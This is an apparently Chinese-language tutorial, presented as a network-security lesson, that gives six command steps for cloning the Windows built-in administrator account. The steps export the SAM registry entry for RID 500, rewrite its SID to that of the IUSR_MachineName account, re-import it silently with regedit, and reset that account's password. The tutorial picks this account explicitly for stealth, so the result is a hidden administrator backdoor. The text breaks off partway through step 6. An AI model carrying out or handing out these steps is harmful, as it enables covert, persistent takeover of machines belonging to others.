网络安全：6步教你克隆管理员的帐号.docxVIP

网络安全：6步教你克隆管理员的帐号华迪教育华迪信息　　在Windows 系统里，默认管理员帐号的SID是固定的500(0x1f4)，那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆，在这里我们选择的帐号是IUSR_MachineName(为了加强隐蔽性而选择这个帐号)。　　1. 执行命令： regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4　　将注册表中SID 为500的管理员帐号的相关信息导出　　2.编辑导出的adam.reg文件，将文件内容第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后 的1F4修改为IUSR_MachineName的SID　　3. 执行regedit /s adam.reg 重新导入修改的信息到注册表　　4.执行命令：net user IUSR_MachineName xxxxxx　　修改IUSR_MachineName的密码xxxxxx　　5.执行命令： net localgroup administrators　　查看本地管理员组信息　　6.执行user2sid工具查看管理员　　user2sid Administrator　　S-×××　　Numbe